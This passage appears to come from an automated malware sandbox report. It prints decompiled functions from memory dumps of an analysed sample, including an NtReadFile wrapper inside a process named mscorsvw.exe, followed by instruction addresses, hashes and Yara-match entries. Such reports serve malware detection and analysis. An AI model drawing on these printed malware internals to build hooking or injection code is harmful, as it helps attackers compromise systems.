						 *_t165 =  *_t165 | _t165;
					}
					_t165 = _t165 - 0xc5;
				}
				 *_t165 =  *_t165 + _t165;
				_t166 = _t165 | 0x00000010;
				_t270 = _t268 + _t246 + _t246;
				_push(cs);
				asm("adc [eax], al");
				 *((char*)(_t166 + _t270)) =  *((char*)(_t166 + _t270)) - 1;
				_t271 = _t270 + _t246;
				_push(cs);
				asm("adc [eax], al");
				asm("ficom word [eax]");
				asm("adc al, 0xfe");
				_push(cs);
				asm("adc [eax], eax");
				 *((char*)(_t254 + _t271)) =  *((char*)(_t254 + _t271)) - 1;
				_push(cs);
				asm("adc [eax], eax");
				asm("fiadd word [eax]");
				_t273 = _t271 + _t246 + _t246;
				 *_t254 =  *_t254 - _t166;
				 *_t166 =  *_t166 + _t166;
				_push(es);
				if( *_t166 == 0) {
					L25:
					_t166 = _t166;
				} else {
					 *_t166 =  *_t166 + _t166;
					_t246 = _t246 + _t273;
					_push(cs);
					 *_t166 =  *_t166 + _t166;
					 *_t254 =  *_t254 - _t166;
					 *_t166 =  *_t166 + _t166;
					_push(es);
					if( *_t166 != 0) {
						 *_t166 =  *_t166 + _t166;
						_t166 = _t166 +  *_t317;
						 *((char*)(_t321 + _t166)) =  *((char*)(_t321 + _t166)) - 1;
						goto L25;
					}
				}
				 *_t317 =  *_t317 - 1;
				_t167 = _t166;
				 *_t254 =  *_t254 - _t167;
				 *_t167 =  *_t167 + _t167;
				_push(es);
				if( *_t167 == 0) {
					L28:
					 *_t167 =  *_t167 + _t167;
					 *0xa0cfe25 =  *0xa0cfe25 + _t319;
					_t274 = _t273 + _t246;
					_push(cs);
					_t168 = _t167 |  *_t167;
					 *((char*)(_t274 + _t274)) =  *((char*)(_t274 + _t274)) - 1;
					_t275 = _t274 + _t246;
					_push(cs);
					asm("adc al, [eax]");
					 *_t254 =  *_t254 - _t168;
					 *_t168 =  *_t168 + _t168;
					_push(es);
					if( *_t168 != 0) {
						 *_t168 =  *_t168 + _t168;
						_t168 = _t168 +  *_t317;
						 *((char*)(_t317 + _t254)) =  *((char*)(_t317 + _t254)) - 1;
						_t275 = _t275 + _t246;
						_push(cs);
						_push(cs);
						 *_t246 =  *_t246 + _t254;
						_push(es);
						 *((intOrPtr*)(_t317 + _t315 * 8)) =  *((intOrPtr*)(_t317 + _t315 * 8)) + _t275;
					}
					asm("adc al, 0xfe");
					_push(cs);
					_t167 = _t168;
					_t276 = _t275 + _t246;
				} else {
					 *_t167 =  *_t167 + _t167;
					_t246 = _t246 + _t273;
					_push(cs);
					asm("adc al, [eax]");
					 *((char*)(_t273 + _t273)) =  *((char*)(_t273 + _t273)) - 1;
					asm("adc al, [eax]");
					asm("fiadd word [eax]");
					_t276 = _t273 + _t246 + _t246;
					_t321 = cs;
					 *[es:eax] =  *[es:eax] + _t254;
					 *_t167 =  *_t167 & _t167;
					 *_t317 =  *_t317 + _t167;
					if( *_t317 != 0) {
						goto L28;
					}
				}
				asm("sbb eax, 0x21280000");
				 *_t167 =  *_t167 + _t167;
				_push(es);
				if( *_t167 != 0) {
					 *_t167 =  *_t167 + _t167;
					_t167 = _t167 +  *_t317;
					asm("fimul word [ebx]");
				}
				_t169 = _t167 | 0x00000009;
				_push(cs);
				 *_t169 =  *_t169 | _t169;
				asm("fiadd word [eax]");
				_t279 = _t276 + _t246 + _t246 + _t246;
				 *_t169 =  *_t169 + _t169;
				asm("fiadd word [eax]");
				 *((intOrPtr*)(_t317 + _t315 * 8)) =  *((intOrPtr*)(_t317 + _t315 * 8)) + _t279;
				_push(cs);
				_t170 = _t169 +  *_t169;
				 *_t254 =  *_t254 - _t170;
				 *_t170 =  *_t170 + _t170;
				_push(es);
				if( *_t170 != 0) {
					 *_t170 =  *_t170 + _t170;
				}
				 *_t279 =  *_t279 + _t170;
				 *[es:edx+eax] =  *[es:edx+eax] - 1;
				 *0x1e2b27 =  *0x1e2b27 + _t254;
				 *_t170 =  *_t170 + _t254;
				 *_t170 =  *_t170 & _t170;
				 *_t317 =  *_t317 + _t170;
				if( *_t317 != 0) {
					 *_t170 =  *_t170 + _t170;
					_t170 = _t170 +  *_t317;
					asm("fimul word [esi]");
					 *_t170 =  *_t170 + _t254;
					 *_t170 =  *_t170 & _t170;
					 *_t317 =  *_t317 + _t170;
					_t358 =  *_t317;
				}
				if(_t358 != 0) {
					 *_t170 =  *_t170 + _t170;
					_t170 = _t170 +  *_t317;
					asm("fiadd word [eax]");
					 *_t170 =  *_t170 + _t170;
					 *((char*)(_t170 + _t254)) =  *((char*)(_t170 + _t254)) - 1;
				}
				 *0xfe0000db =  *0xfe0000db + _t254;
				_t172 = _t170 | 0xa;
				 *0x110cfe13 =  *0x110cfe13 + _t254;
				_t280 = _t279 + _t246;
				_push(cs);
				asm("adc [eax], eax");
				 *_t254 =  *_t254 - _t172;
				 *_t172 =  *_t172 + _t172;
				_push(es);
				if( *_t172 != 0) {
					 *_t172 =  *_t172 + _t172;
					_t174 = _t172 +  *_t317;
					_t281 = _t280 + _t246;
					_push(cs);
					 *_t174 =  *_t174 + _t254;
					 *_t174 =  *_t174 & _t174;
					 *_t317 =  *_t317 + _t174;
					if ( *_t317 == 0) goto L44;
				}
				_pop(ss);
			}

0x00c6e5d9
0x00c6e5d9
0x00c6e5d9
0x00c6e5d9
0x00c6e5db
0x00c6e5dd
0x00c6e5df
0x00c6e5e0
0x00c6e5e3
0x00c6e5e5
0x00c6e5e7
0x00c6e5e9
0x00c6e5eb
0x00c6e5ed
0x00c6e5f3
0x00c6e5f4
0x00c6e5f6
0x00c6e5f8
0x00c6e5f8
0x00c6e5fc
0x00c6e5ff
0x00c6e601
0x00c6e602
0x00c6e604
0x00c6e606
0x00c6e608
0x00c6e609
0x00c6e60b
0x00c6e60d
0x00c6e60f
0x00c6e611
0x00c6e613
0x00c6e614
0x00c6e616
0x00c6e618
0x00c6e61a
0x00c6e61c
0x00c6e61e
0x00c6e620
0x00c6e622
0x00c6e622
0x00c6e623
0x00c6e623
0x00c6e625
0x00c6e625
0x00c6e629
0x00c6e62b
0x00c6e62d
0x00c6e630
0x00c6e631
0x00c6e636
0x00c6e63b
0x00c6e63c
0x00c6e63f
0x00c6e645
0x00c6e64b
0x00c6e64f
0x00c6e651
0x00c6e653
0x00c6e655
0x00c6e657
0x00c6e65a
0x00c6e660
0x00c6e666
0x00c6e668
0x00c6e66a
0x00c6e66d
0x00c6e671
0x00c6e673
0x00c6e679
0x00c6e67b
0x00c6e67d
0x00c6e680
0x00c6e684
0x00c6e686
0x00c6e687
0x00c6e68c
0x00c6e68e
0x00c6e68f
0x00c6e691
0x00c6e693
0x00c6e699
0x00c6e69b
0x00c6e6ac
0x00c6e6ac
0x00c6e6ae
0x00c6e6b1
0x00c6e69d
0x00c6e69d
0x00c6e69f
0x00c6e6a1
0x00c6e6a4
0x00c6e6a6
0x00c6e6a8
0x00c6e6a9
0x00c6e6ab
0x00000000
0x00c6e6ab
0x00c6e6a9
0x00c6e6b3
0x00c6e6b5
0x00c6e6b6
0x00c6e6b8
0x00c6e6b8
0x00c6e6b9
0x00c6e6bb
0x00c6e6c0
0x00c6e6c2
0x00c6e6c2
0x00c6e6c3
0x00c6e6c5
0x00c6e6c7
0x00c6e6c9
0x00c6e6cf
0x00c6e6d1
0x00c6e6d3
0x00c6e6d5
0x00c6e6d7
0x00c6e6d8
0x00c6e6dc
0x00c6e6dd
0x00c6e6df
0x00c6e6e1
0x00c6e6e1
0x00c6e6e3
0x00c6e6e3
0x00c6e6e4
0x00c6e6e6
0x00c6e6e8
0x00c6e6ea
0x00c6e6ec
0x00c6e6ef
0x00c6e6f5
0x00c6e6f5
0x00c6e6f7
0x00c6e6f7
0x00c6e6f9
0x00c6e6fd
0x00c6e6ff
0x00c6e701
0x00c6e702
0x00c6e704
0x00c6e707
0x00c6e709
0x00c6e70a
0x00c6e70c
0x00c6e70e
0x00c6e711
0x00c6e712
0x00c6e714
0x00c6e719
0x00c6e71a
0x00c6e71c
0x00c6e71e
0x00c6e722
0x00c6e724
0x00c6e726
0x00c6e727
0x00c6e73d
0x00c6e73d
0x00c6e729
0x00c6e729
0x00c6e72b
0x00c6e72d
0x00c6e72e
0x00c6e730
0x00c6e732
0x00c6e734
0x00c6e735
0x00c6e737
0x00c6e739
0x00c6e73b
0x00000000
0x00c6e73b
0x00c6e735
0x00c6e73f
0x00c6e741
0x00c6e743
0x00c6e745
0x00c6e747
0x00c6e748
0x00c6e767
0x00c6e767
0x00c6e769
0x00c6e76f
0x00c6e771
0x00c6e772
0x00c6e774
0x00c6e777
0x00c6e779
0x00c6e77a
0x00c6e77c
0x00c6e77e
0x00c6e780
0x00c6e781
0x00c6e783
0x00c6e785
0x00c6e787
0x00c6e78a
0x00c6e78c
0x00c6e78d
0x00c6e78e
0x00c6e790
0x00c6e791
0x00c6e791
0x00c6e792
0x00c6e794
0x00c6e795
0x00c6e797
0x00c6e74a
0x00c6e74a
0x00c6e74c
0x00c6e74e
0x00c6e74f
0x00c6e751
0x00c6e757
0x00c6e759
0x00c6e75b
0x00c6e75d
0x00c6e75e
0x00c6e761
0x00c6e763
0x00c6e765
0x00000000
0x00000000
0x00c6e765
0x00c6e799
0x00c6e79e
0x00c6e7a0
0x00c6e7a1
0x00c6e7a3
0x00c6e7a5
0x00c6e7a7
0x00c6e7a7
0x00c6e7ab
0x00c6e7af
0x00c6e7b0
0x00c6e7b2
0x00c6e7b4
0x00c6e7b6
0x00c6e7b8
0x00c6e7ba
0x00c6e7bd
0x00c6e7be
0x00c6e7c0
0x00c6e7c2
0x00c6e7c4
0x00c6e7c5
0x00c6e7c7
0x00c6e7c7
0x00c6e7c8
0x00c6e7ca
0x00c6e7ce
0x00c6e7d4
0x00c6e7d6
0x00c6e7d8
0x00c6e7da
0x00c6e7dc
0x00c6e7de
0x00c6e7e0
0x00c6e7e2
0x00c6e7e4
0x00c6e7e6
0x00c6e7e6
0x00c6e7e6
0x00c6e7e8
0x00c6e7ea
0x00c6e7ec
0x00c6e7ee
0x00c6e7f0
0x00c6e7f2
0x00c6e7f2
0x00c6e7f5
0x00c6e7fb
0x00c6e7fd
0x00c6e803
0x00c6e805
0x00c6e806
0x00c6e808
0x00c6e80a
0x00c6e80c
0x00c6e80d
0x00c6e80f
0x00c6e811
0x00c6e813
0x00c6e815
0x00c6e816
0x00c6e818
0x00c6e81a
0x00c6e81c
0x00c6e81c
0x00c6e81d

Memory Dump Source

Source File: 00000000.00000002.344599838.0000000000C52000.00000002.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.344586536.0000000000C50000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc3244bd6a45320cdf2fd0d731257e159b95eb6038a87781a753d359d9b0e0b6
Instruction ID: 5f560a7890029230b6922929492730249ef32f8b694475077978be6a631c9b45
Opcode Fuzzy Hash: bc3244bd6a45320cdf2fd0d731257e159b95eb6038a87781a753d359d9b0e0b6
Instruction Fuzzy Hash: AC92BEA245E3C19FC3639B746C795907FB19E6321831E08DFD8C1DF0A3E11A1A5AE762

Uniqueness

Uniqueness Score: -1.00%

Function 00C70392, Relevance: 1.1, Instructions: 1059
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E00C70392(signed int __eax, intOrPtr* __ebx, intOrPtr* __ecx, void* __edx, signed int __edi, intOrPtr* __esi) {
				signed int _t144;
				intOrPtr* _t145;
				signed char _t146;
				signed char _t147;
				signed int _t148;
				signed int _t149;
				signed int _t150;
				signed int _t151;
				signed int _t152;
				intOrPtr* _t225;
				signed char _t226;
				intOrPtr* _t227;
				intOrPtr* _t228;
				intOrPtr* _t235;
				intOrPtr* _t236;
				intOrPtr* _t237;
				void* _t248;
				void* _t249;
				void* _t250;
				void* _t253;
				signed int _t282;
				intOrPtr* _t283;
				void* _t285;

				_t283 = __esi;
				_t282 = __edi;
				_t236 = __ecx;
				_t229 = __ebx;
				_t143 = __eax;
				_t248 = __edx + __ebx;
				_push(cs);
				asm("verw word [eax]");
				 *__eax =  *__eax & __eax;
				 *__esi =  *__esi + __eax;
				if( *__esi == 0) {
					L3:
					 *_t283 =  *_t283 + _t143;
					if( *_t283 != 0) {
						 *_t143 =  *_t143 + _t143;
						_t235 = _t229 + _t248;
						es = cs;
						 *_t235 =  *_t235 + _t236;
						asm("verw word [eax]");
						 *_t143 =  *_t143 & _t143;
						 *_t283 =  *_t283 + _t143;
						if( *_t283 != 0) {
							 *_t143 =  *_t143 + _t143;
							_t235 = _t235 + _t248;
							_push(cs);
							_t143 = _t143 +  *_t143;
						}
						 *_t143 =  *_t143 + _t143;
						_t229 = _t235 -  *_t282;
						 *_t229 =  *_t229 + _t236;
					}
					asm("sbb [eax], al");
					 *((intOrPtr*)(_t283 + _t282 * 8)) =  *((intOrPtr*)(_t283 + _t282 * 8)) + _t248;
					_push(cs);
					 *_t143 =  *_t143 + _t143;
					asm("fimul word [esi]");
				} else {
					 *__eax =  *__eax + __eax;
					_t229 = __ebx + _t248;
					_push(cs);
					_t143 = __eax;
					 *__ecx =  *__ecx - _t143;
					 *_t143 =  *_t143 + _t143;
					_push(es);
					if( *_t143 != 0) {
						 *_t143 =  *_t143 + _t143;
						 *0x212810 =  *0x212810 + _t285;
						goto L3;
					}
				}
				_push(cs);
				 *[es:ecx] =  *[es:ecx] - _t143;
				 *_t143 =  *_t143 + _t143;
				_push(es);
				if( *_t143 != 0) {
					 *_t143 =  *_t143 + _t143;
					_t228 = _t143 +  *_t283;
					asm("fiadd word [eax]");
					 *_t228 =  *_t228 + _t228;
					asm("adc al, 0x2d");
					asm("in al, 0x0");
					 *_t236 =  *_t236 - _t228;
					 *_t228 =  *_t228 + _t228;
					_push(es);
					if( *_t228 != 0) {
						 *_t228 =  *_t228 + _t228;
					}
					 *_t236 =  *_t236 + _t228;
					_t143 = _t228 - 0x3e2bd4;
					_t285 = _t285 -  *_t283;
				}
				 *_t143 =  *_t143 + _t143;
				 *_t236 =  *_t236 - _t143;
				 *_t143 =  *_t143 + _t143;
				_push(es);
				if( *_t143 != 0) {
					 *_t143 =  *_t143 + _t143;
					_t229 = _t229 + _t248;
				}
				_push(cs);
				asm("adc [eax], al");
				 *((char*)(_t143 + _t248)) =  *((char*)(_t143 + _t248)) - 1;
				_t249 = _t248 + _t229;
				_push(cs);
				asm("adc [eax], al");
				asm("adc al, 0xfe");
				_push(cs);
				_t144 = _t143;
				asm("fimul word [esi]");
				 *[es:ecx] =  *[es:ecx] - _t144;
				 *_t144 =  *_t144 + _t144;
				_push(es);
				if( *_t144 != 0) {
					 *_t144 =  *_t144 + _t144;
					_t227 = _t144 +  *_t283;
					asm("fiadd word [eax]");
					 *_t227 =  *_t227 + _t227;
					 *_t236 =  *_t236 - _t227;
					 *_t227 =  *_t227 + _t227;
					_push(es);
					if( *_t227 != 0) {
						 *_t227 =  *_t227 + _t227;
					}
					 *_t236 =  *_t236 + _t227;
					_t144 = _t227 - 0x212800c5;
					 *_t144 =  *_t144 + _t144;
					_push(es);
					if( *_t144 != 0) {
						 *_t144 =  *_t144 + _t144;
					}
				}
				 *_t236 =  *_t236 + _t144;
				_t145 = _t144 - 0xdfeb5;
				_t250 = _t249 + _t229;
				asm("adc eax, 0x1000032");
				 *((char*)(_t145 + _t145)) =  *((char*)(_t145 + _t145)) - 1;
				 *0xcfe0033 =  *0xcfe0033 + _t236;
				 *_t145 =  *_t145 + _t145;
				_t146 = _t145 - 0x21280b;
				 *_t283 =  *_t283 + _t146;
				if( *_t283 != 0) {
					 *_t146 =  *_t146 + _t146;
					_t146 = _t146 +  *_t283;
					_t250 = _t250 + _t229;
					asm("sbb eax, 0xcfe26");
					 *0xefe1407 =  *0xefe1407 + _t236;
				}
				asm("adc al, 0xfe");
				_push(cs);
				asm("adc [eax], al");
				_t237 = _t236 -  *((intOrPtr*)(_t146 + _t146));
				 *_t237 =  *_t237 - _t146;
				 *_t146 =  *_t146 + _t146;
				_push(es);
				if( *_t146 != 0) {
					 *_t146 =  *_t146 + _t146;
					_t226 = _t146 +  *_t283;
					 *_t226 =  *_t226 + _t226;
					_t250 = _t250 + _t229 + _t229;
					_t146 = _t226 | 0x00000003;
				}
				_push(cs);
				_t147 = _t146 +  *_t146;
				 *_t147 =  *_t147 + _t147;
				 *((char*)(_t147 + _t237)) =  *((char*)(_t147 + _t237)) - 1;
				_push(cs);
				 *_t147 =  *_t147 | _t147;
				 *0x15fe0007 =  *0x15fe0007 - 1;
				asm("sbb eax, 0xfe020000");
				_t148 = _t147 | 0x00000007;
				_t253 = _t250 + _t229 + _t229 + _t229;
				es = cs;
				 *_t148 =  *_t148 + _t237;
				 *_t148 =  *_t148 & _t148;
				 *_t283 =  *_t283 + _t148;
				if( *_t283 != 0) {
					 *_t148 =  *_t148 + _t148;
					_t148 = _t148 +  *_t283;
				}
				 *_t237 =  *_t237 - _t148;
				 *_t148 =  *_t148 + _t148;
				_push(es);
				if( *_t148 == 0) {
					L27:
					 *_t148 =  *_t148 + _t148;
					_t229 = _t229 + _t253;
					_push(cs);
					_t149 = _t148 |  *_t148;
					 *((char*)(_t253 + _t149)) =  *((char*)(_t253 + _t149)) - 1;
					_t253 = _t253 + _t229;
				} else {
					 *_t148 =  *_t148 + _t148;
					_t149 = _t148 +  *_t283;
					asm("fisubr word [edi]");
					 *[es:ecx] =  *[es:ecx] - _t149;
					 *_t149 =  *_t149 + _t149;
					_push(es);
					if( *_t149 != 0) {
						goto L27;
					}
				}
				 *_t283 =  *_t283 - 1;
				_t150 = _t149 +  *_t149;
				 *_t237 =  *_t237 - _t150;
				 *_t150 =  *_t150 + _t150;
				_push(es);
				if( *_t150 != 0) {
					 *_t150 =  *_t150 + _t150;
					_t225 = _t150 +  *_t283;
					 *_t237 =  *_t237 - _t225;
					 *_t225 =  *_t225 + _t225;
					_push(es);
					if( *_t225 != 0) {
						 *_t225 =  *_t225 + _t225;
					}
					_t150 = _t225 +  *_t283;
					asm("fiadd word [eax]");
					_t253 = _t253 + _t229;
					 *_t150 =  *_t150 & _t150;
				}
				 *_t150 =  *_t150 + _t150;
				 *_t237 =  *_t237 - _t150;
				 *_t150 =  *_t150 + _t150;
				_push(es);
				if( *_t150 != 0) {
					 *_t150 =  *_t150 + _t150;
					_t152 = _t150 +  *_t283;
					asm("fimul word [esi]");
					 *_t152 =  *_t152 + _t237;
					 *_t152 =  *_t152 & _t152;
					 *_t283 =  *_t283 + _t152;
					if ( *_t283 == 0) goto L36;
				}
				_t151 = _t150 | 0x26020000;
			}

0x00c70392
0x00c70392
0x00c70392
0x00c70392
0x00c70392
0x00c70392
0x00c70394
0x00c70395
0x00c70398
0x00c7039a
0x00c7039c
0x00c703b4
0x00c703b4
0x00c703b6
0x00c703b8
0x00c703ba
0x00c703bd
0x00c703be
0x00c703c0
0x00c703c3
0x00c703c5
0x00c703c7
0x00c703c9
0x00c703cb
0x00c703cd
0x00c703ce
0x00c703ce
0x00c703cf
0x00c703d1
0x00c703d3
0x00c703d3
0x00c703d5
0x00c703d7
0x00c703da
0x00c703db
0x00c703dd
0x00c7039e
0x00c7039e
0x00c703a0
0x00c703a2
0x00c703a3
0x00c703a5
0x00c703a7
0x00c703a9
0x00c703aa
0x00c703ac
0x00c703ae
0x00000000
0x00c703ae
0x00c703aa
0x00c703de
0x00c703df
0x00c703e2
0x00c703e4
0x00c703e5
0x00c703e7
0x00c703e9
0x00c703eb
0x00c703ed
0x00c703ef
0x00c703f1
0x00c703f3
0x00c703f5
0x00c703f7
0x00c703f8
0x00c703fa
0x00c703fa
0x00c703fb
0x00c703fd
0x00c70402
0x00c70402
0x00c70404
0x00c70406
0x00c70408
0x00c7040a
0x00c7040b
0x00c7040d
0x00c7040f
0x00c7040f
0x00c70411
0x00c70412
0x00c70414
0x00c70417
0x00c70419
0x00c7041a
0x00c7041c
0x00c7041e
0x00c7041f
0x00c70421
0x00c70423
0x00c70426
0x00c70428
0x00c70429
0x00c7042b
0x00c7042d
0x00c7042f
0x00c70431
0x00c70433
0x00c70435
0x00c70437
0x00c70438
0x00c7043a
0x00c7043a
0x00c7043b
0x00c7043d
0x00c70442
0x00c70444
0x00c70445
0x00c70447
0x00c70447
0x00c70445
0x00c70448
0x00c7044a
0x00c7044f
0x00c70451
0x00c70456
0x00c70459
0x00c7045f
0x00c70461
0x00c70466
0x00c70468
0x00c7046a
0x00c7046c
0x00c7046e
0x00c70470
0x00c70475
0x00c70475
0x00c70478
0x00c7047a
0x00c7047b
0x00c7047d
0x00c70480
0x00c70482
0x00c70484
0x00c70485
0x00c70487
0x00c70489
0x00c7048d
0x00c7048f
0x00c70491
0x00c70491
0x00c70495
0x00c70496
0x00c70498
0x00c7049a
0x00c7049f
0x00c704a0
0x00c704a2
0x00c704a8
0x00c704ad
0x00c704af
0x00c704b2
0x00c704b3
0x00c704b5
0x00c704b7
0x00c704b9
0x00c704bb
0x00c704bd
0x00c704bd
0x00c704bf
0x00c704c1
0x00c704c3
0x00c704c4
0x00c704d4
0x00c704d4
0x00c704d6
0x00c704d8
0x00c704d9
0x00c704db
0x00c704de
0x00c704c6
0x00c704c6
0x00c704c8
0x00c704ca
0x00c704cc
0x00c704cf
0x00c704d1
0x00c704d2
0x00000000
0x00000000
0x00c704d2
0x00c704df
0x00c704e1
0x00c704e3
0x00c704e5
0x00c704e7
0x00c704e8
0x00c704ea
0x00c704ec
0x00c704ee
0x00c704f0
0x00c704f2
0x00c704f3
0x00c704f5
0x00c704f5
0x00c704f7
0x00c704f9
0x00c704fb
0x00c704fd
0x00c704fd
0x00c704fe
0x00c70500
0x00c70502
0x00c70504
0x00c70505
0x00c70507
0x00c70509
0x00c7050b
0x00c7050d
0x00c7050f
0x00c70511
0x00c70513
0x00c70513
0x00c70514

Memory Dump Source

Source File: 00000000.00000002.344599838.0000000000C52000.00000002.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.344586536.0000000000C50000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98c30de2670a793c4345240860ae40beb31b2150f8e37da1a5ab2127e1e0bb5b
Instruction ID: e931c15209186e79d29e69e25ec6984223940597752a0a181e0d998501b0f04d
Opcode Fuzzy Hash: 98c30de2670a793c4345240860ae40beb31b2150f8e37da1a5ab2127e1e0bb5b
Instruction Fuzzy Hash: 8392ADA245E3C19FC3638B745C796A07FB19E6321472E48DFD8C1CF0A3E11A1A5AD762

Uniqueness

Uniqueness Score: -1.00%

Function 02DEF981, Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe4865e5339d9ddf88ef7ec7ebb9d0c6ba553fbc56dbae6e678bbac2983dbb7a
Instruction ID: e50a551b41cb6a92f29fd6c50d164cc6c1772d94270d9ccbce389f72bfac0571
Opcode Fuzzy Hash: fe4865e5339d9ddf88ef7ec7ebb9d0c6ba553fbc56dbae6e678bbac2983dbb7a
Instruction Fuzzy Hash: D1D1E531D2075A8ACB10EFA4D950A9DB3B1FF95300F608B9AE50977224EB746AC5CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02DEF988, Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c852ed2a81a5a8b8f1d91a861d78886bb49d19a1240197e2cad9c862c6f3ce2
Instruction ID: 7bf5662560bee94dfc34faec529b7de87097c845b2b2b7d708d1fb73122afa21
Opcode Fuzzy Hash: 8c852ed2a81a5a8b8f1d91a861d78886bb49d19a1240197e2cad9c862c6f3ce2
Instruction Fuzzy Hash: 94D1E531D2075A8ACB10EFA4D950A9DB3B1FF95300F608B9AE50937224EB746AC5CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02DEF0FC, Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e389c8cdbb9e86f47117d545d13a75d731651dd02907cd99ed716a1f9490e20d
Instruction ID: ceecd8e1076c188d6f802dfc9c1129edaaab01f9644105d0bcc8bbc3fb8b4b87
Opcode Fuzzy Hash: e389c8cdbb9e86f47117d545d13a75d731651dd02907cd99ed716a1f9490e20d
Instruction Fuzzy Hash: B9F0AFB5D1920C9F8F14CFA9D4418EEFBF2AB5A310F10A12AE804B3310E73589018F68

Uniqueness

Uniqueness Score: -1.00%

Function 02DEF108, Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9eb7edaa31dfbf35867dc96d8b8f8c426529f6e1b54484e160c576f9eb5ddf33
Instruction ID: f0374a6659a2109d62eaa1f8df90b4d06af71fc0c1cfcd317c216f4f870a4e6f
Opcode Fuzzy Hash: 9eb7edaa31dfbf35867dc96d8b8f8c426529f6e1b54484e160c576f9eb5ddf33
Instruction Fuzzy Hash: 35F042B5D0520C9F8F04DFA9D9418EEFBF2AB99310F10A16AE815B3310E7359951CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 02DE91F1, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.345329255.0000000002DE0000.00000040.00000001.sdmp, Offset: 02DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dd79a73b22032b87433b598f717cd07e728dd2401704a9640261b09da3c7740
Instruction ID: dfb07e9db2248b88ecba50a4eec434a52a9bfae7288de0e6eaaf1fd78336882b
Opcode Fuzzy Hash: 0dd79a73b22032b87433b598f717cd07e728dd2401704a9640261b09da3c7740
Instruction Fuzzy Hash: 93F03430D5622ACFCF64EF24E8987E8BBB4AF46305F0010EAE459A2250DB308F90CF00

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: mscorsvw.exe PID: 5844 Parent PID: 7124 mscorsvw.exeCOMMON

Executed Functions

Function 00419E0B, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(BMA,5EB6522D,FFFFFFFF,00414A01,?,?,BMA,?,00414A01,FFFFFFFF,5EB6522D,00414D42,?,00000000), ref: 00419E55

Strings

BMA, xrefs: 00419E4D, 00419E54
BMA, xrefs: 00419E32, 00419E40

Memory Dump Source

Source File: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: BMA$BMA
API String ID: 2738559852-2163208940
Opcode ID: c7544984bce2b1c87228a47735bc187059da444aa0750dbd48748f4aae0cb5ec
Instruction ID: 4fe5b75dff92a1ce98cba4ca99c9955512d9511116462172522007c39aeb3aaa
Opcode Fuzzy Hash: c7544984bce2b1c87228a47735bc187059da444aa0750dbd48748f4aae0cb5ec
Instruction Fuzzy Hash: 94F0F4B2200108AFCB04CF99DC80EEB77ADEF8C354F158249BE0DE7251C630E8518BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00419E10, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00419E10(intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, intOrPtr _a40) {
				void* _t18;
				void* _t27;
				intOrPtr* _t28;

				_t13 = _a4;
				_t28 = _a4 + 0xc48;
				E0041A960(_t27, _t13, _t28,  *((intOrPtr*)(_t13 + 0x10)), 0, 0x2a);
				_t6 =  &_a32; // 0x414d42
				_t12 =  &_a8; // 0x414d42
				_t18 =  *((intOrPtr*)( *_t28))( *_t12, _a12, _a16, _a20, _a24, _a28,  *_t6, _a36, _a40); // executed
				return _t18;
			}

0x00419e13
0x00419e1f
0x00419e27
0x00419e32
0x00419e4d
0x00419e55
0x00419e59

APIs

NtReadFile.NTDLL(BMA,5EB6522D,FFFFFFFF,00414A01,?,?,BMA,?,00414A01,FFFFFFFF,5EB6522D,00414D42,?,00000000), ref: 00419E55

Strings

BMA, xrefs: 00419E4D, 00419E54
BMA, xrefs: 00419E32, 00419E40

Memory Dump Source

Source File: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: BMA$BMA
API String ID: 2738559852-2163208940
Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction ID: bd248b349f18b2ced93d1e709abaf342431bbeaaaaa26160fd0c904447d41470
Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction Fuzzy Hash: 45F0B7B2210208AFCB14DF89DC81EEB77ADEF8C754F158649BE1DA7241D630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00419D5D, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00419D5D(intOrPtr _a4, HANDLE* _a8, long _a12, struct _EXCEPTION_RECORD _a16, struct _ERESOURCE_LITE _a20, signed char _a21, struct _GUID _a24, long _a28, long _a32, long _a36, long _a40, void* _a44, long _a48) {
				long _t23;
				void* _t33;

